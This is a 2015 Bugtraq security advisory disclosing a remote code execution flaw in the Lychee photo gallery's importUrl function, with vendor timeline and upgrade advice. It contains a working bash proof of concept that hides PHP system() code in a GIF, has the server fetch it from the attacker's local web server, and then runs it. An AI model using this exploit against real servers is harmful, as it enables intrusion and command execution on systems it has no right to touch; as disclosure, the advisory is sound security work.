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Date: Thu, 16 Apr 2015 16:25:43 +0200
From: Filippo Cavallarin <filippo.cavallarin@...ment.technology>
To: bugtraq@...urityfocus.com
Subject: Lychee 2.7.1 remote code execution

Advisory ID: SGMA15-002
Title:	Lychee remote code execution
Product: Lychee
Version: 2.7.1 and probably prior
Vendor:	lychee.electerious.com
Vulnerability type:	Remote Code Execution
Risk level:	High
Credit:	Filippo Cavallarin - segment.technology
CVE: N/A
Vendor notification: 2015-04-12
Vendor fix: 2015-04-13
Public disclosure: 2015-04-15


Details

Lychee version 2.7.1 and probably below suffers from remote code execution vulnerability.

The vulnerability resides in the importUrl function that fails to restrict file types due to the lack of file extension validation.
Since the imported file is stored in a web-readable directory where php files can be executed, remote code execution can be achieved. 

Even if the import is limited to image files only, an attacker can abuse this vulnerability by importing a 
specially crafted image file containing PHP code.

To exploit this vulnerability the attacker must be logged as administrator.

The following proof of concept demostrates the issue

#!/bin/bash

LYCHEE_HOST="lychee.local"
PHPSESSID="e0ac560kmqf0lli9u5jd20qt46"
LOCALIP="172.16.85.1"
CMD="uname -a"

cd /tmp || exit 1

echo "Creating gif..."
GIF="\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x21\xFE\x1A<?php system('$CMD')?>"
echo -e $GIF > gif.php

echo "Starting local webserver"
python -m SimpleHTTPServer > /dev/null 2>&1 &

sleep 1

echo "Starting the import procedure"
curl "http://$LYCHEE_HOST/php/api.php" -H "Cookie: PHPSESSID=$PHPSESSID"  --data "function=importUrl&url=http%3A//$LOCALIP:8000/gif.php&albumID=0"

sleep 5

kill %1
rm gif.php

echo "Executing command.."
curl "http://$LYCHEE_HOST/data/gif.php"

#EOF


Solution

Upgrade to Lychee version 2.7.2


References
http://lychee.electerious.com




Filippo Cavallarin
https://segment.technology/

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